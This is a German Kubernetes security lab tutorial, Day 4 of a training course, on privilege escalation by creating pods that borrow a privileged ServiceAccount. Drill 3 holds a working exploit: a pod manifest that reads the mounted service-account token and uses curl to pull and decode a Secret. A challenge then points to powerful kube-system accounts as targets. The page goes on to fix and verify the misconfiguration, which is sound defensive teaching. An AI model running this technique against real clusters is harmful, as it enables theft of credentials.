Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 4: Rechteausweitung über fremde ServiceAccounts

Ziel: Du übernimmst mit „Pods erstellen” einen privilegierten ServiceAccount – und trennst die Namespaces. · Dauer: ca. 75 min · Voraussetzung: Tag 3

Briefing

Du musst keine Secret-Rechte haben, um an Secrets zu kommen. Es reicht, einen Pod starten zu dürfen: Ein Pod läuft mit dem Token seines ServiceAccounts. Darfst du also in einem Namespace Pods erstellen, kannst du dir einen beliebigen – auch einen privilegierten – ServiceAccount dieses Namespace „ausleihen”. Das ist eine der häufigsten Rechteausweitungen in echten Clustern, weil „darf deployen” oft großzügig vergeben wird.

attacker:default  --(create pods in shop)-->  Pod mit SA=deployer
                                                   |
                                          deployer darf shop-Secrets lesen

Drill 1: Die Ausgangslage – ein privilegierter Deployer

Im Namespace shop ein ServiceAccount deployer, der (wie eine CI-Pipeline) die Secrets von shop lesen darf:

kubectl -n shop create secret generic db-credentials \
  --from-literal=password=S3cr3t-lab-pw
kubectl -n shop create serviceaccount deployer

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: shop-secret-reader, namespace: shop}
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get","list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: deployer-secrets, namespace: shop}
subjects: [{kind: ServiceAccount, name: deployer, namespace: shop}]
roleRef: {kind: Role, name: shop-secret-reader, apiGroup: rbac.authorization.k8s.io}
EOF

Fortschritt speichern? Kostenlos registrieren

Drill 2: Die Fehlkonfiguration – „darf deployen”

Der Angreifer-Account bekommt das Recht, in shop Pods zu erstellen und ihre Logs zu sehen – ein typisches „Debug/Deploy”-Paket:

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: pod-creator, namespace: shop}
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create","get","list"]
- apiGroups: [""]
  resources: ["pods/log"]
  verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: attacker-pod-creator, namespace: shop}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: pod-creator, apiGroup: rbac.authorization.k8s.io}
EOF

kubectl auth can-i create pods --as=system:serviceaccount:attacker:default -n shop

Erwartet: yes

Fortschritt speichern? Kostenlos registrieren

Drill 3: Ausnutzen – den deployer ausleihen

Wir handeln ab hier mit --as, der Sicht des Angreifers. Du startest in shop einen Pod mit serviceAccountName: deployer – der Pod erbt dessen Token und liest das Secret:

AS="--as=system:serviceaccount:attacker:default"

kubectl $AS -n shop apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pirate, namespace: shop}
spec:
  serviceAccountName: deployer
  restartPolicy: Never
  containers:
  - name: c
    image: curlimages/curl
    command: ["sh","-c"]
    args:
    - |
      T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
      curl -s -k -H "Authorization: Bearer $T" \
        https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
      | grep -oE "\"password\": *\"[^\"]*\"" | sed -E "s/.*\": *\"//;s/\"//" | base64 -d
      echo
EOF

kubectl -n shop wait --for=jsonpath='{.status.phase}'=Succeeded pod/pirate --timeout=60s
kubectl $AS -n shop logs pirate

Erwartet:

S3cr3t-lab-pw

Der Angreifer hatte nie Secret-Rechte. Er hat sich die Identität des deployer geborgt, indem er einen Pod mit dessen ServiceAccount startete. „Pods erstellen” in einem Namespace ist so mächtig wie der mächtigste ServiceAccount darin.

Fortschritt speichern? Kostenlos registrieren

Drill 4: Fix – Namespaces trennen

Der Angreifer-Namespace darf in shop schlicht gar nichts. Entzieh die Bindung:

kubectl -n shop delete rolebinding attacker-pod-creator
kubectl -n shop delete role pod-creator

Fortschritt speichern? Kostenlos registrieren

Drill 5: Nachweis

AS="--as=system:serviceaccount:attacker:default"
kubectl auth can-i create pods $AS -n shop
kubectl $AS -n shop run x --image=curlimages/curl

Erwartet:

no
Error from server (Forbidden): pods is forbidden: User
"system:serviceaccount:attacker:default" cannot create resource "pods" in API group ""
in the namespace "shop"

Räum die Übungsreste weg:

kubectl -n shop delete pod pirate
kubectl -n shop delete rolebinding deployer-secrets
kubectl -n shop delete role shop-secret-reader
kubectl -n shop delete serviceaccount deployer
kubectl -n shop delete secret db-credentials

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

Der Angreifer-Account hat in shop kein einziges Recht mehr:

kubectl auth can-i --list --as=system:serviceaccount:attacker:default -n shop \
  | grep -E '^(pods|secrets)' || echo "keine Rechte auf pods/secrets"

Erwartet: keine Rechte auf pods/secrets

Challenge

Selbst innerhalb eines Namespace ist „Pods erstellen” gefährlich, wenn dort ein SA mit mehr Rechten liegt. Finde heraus, welcher ServiceAccount in kube-system die meisten Rechte hat – das wäre bei create pods in kube-system die Beute.

Hinweis: kubectl auth can-i --list --as=… zeigt pro Account, was er darf; vergleiche zwei, drei Kandidaten.

Lösung

for sa in clusterrole-aggregation-controller generic-garbage-collector namespace-controller; do
  n=$(kubectl auth can-i --list \
        --as=system:serviceaccount:kube-system:$sa 2>/dev/null | wc -l)
  echo "$sa: $n Regelzeilen"
done

Erwartet: Accounts wie clusterrole-aggregation-controller oder generic-garbage-collector haben auffällig viele Rechte. Darum darf create pods in kube-system niemals an einen Workload.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • create pods (auch über deployments, jobs, cronjobs, daemonsets) ist faktisch Rechteausweitung auf jeden SA des Namespace. So eng wie möglich vergeben.
  • Mit Pod Security Admission (Tag 5) und Kyverno (Tag 12) lässt sich zusätzlich einschränken, welche ServiceAccounts ein Pod verwenden darf.
  • Trenne Mandanten in eigene Namespaces und binde Rechte strikt namespaced; kein Account sollte Rechte in einem fremden Namespace haben.
  • CI/Deployer-Accounts gehören in einen eigenen Namespace mit eng gefasster Role – nicht neben die Workloads, die sie ausrollen.